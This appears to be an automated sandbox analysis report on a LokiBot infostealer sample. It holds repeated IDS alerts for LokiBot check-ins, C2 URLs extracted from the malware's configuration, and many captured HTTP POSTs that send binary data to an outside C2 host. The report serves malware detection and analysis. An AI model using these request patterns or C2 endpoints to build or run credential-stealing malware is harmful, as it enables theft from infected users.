Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49783 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49783 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49783 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49783 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49784 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49784 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49784 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49784 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49784 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49785 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49785 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49785 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49785 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49785 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49786 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49786 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49786 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49786 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49786 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49787 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49787 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49787 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49787 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49787 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49788 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49788 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49788 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49788 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49788 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49789 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49789 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49789 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49789 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49789 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49790 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49790 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49790 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49790 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49790 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49791 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49791 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49791 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49791 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49791 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49792 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49792 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49792 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49792 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49792 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49793 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49793 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49793 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49793 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49793 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49794 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49794 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49794 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49794 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49794 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49795 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49795 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49795 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49795 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49795 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49796 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49796 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49796 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49796 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49796 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49797 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49797 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49797 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49797 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49797 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49798 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49798 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49798 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49798 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49798 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49799 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49799 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49799 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49799 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49799 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49800 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49800 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49800 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49800 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49800 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49801 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49801 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49801 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49801 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49801 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49802 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49802 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49802 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49802 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49802 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49803 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49803 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49803 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49803 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49803 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49804 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49804 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49804 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49804 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49804 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49805 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49805 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49805 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49805 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49805 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49806 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49806 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49806 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49806 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49806 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49807 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49807 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49807 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49807 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49807 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49808 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49808 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49808 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49808 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49808 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49809 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49809 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49809 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49809 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49809 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49810 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49810 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49810 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49810 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49810 -> 104.21.85.101:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe

Network Connect: 104.21.85.101 80

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs:

Source: Joe Sandbox View

IP Address: 104.21.85.101 104.21.85.101

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 180Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 180Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
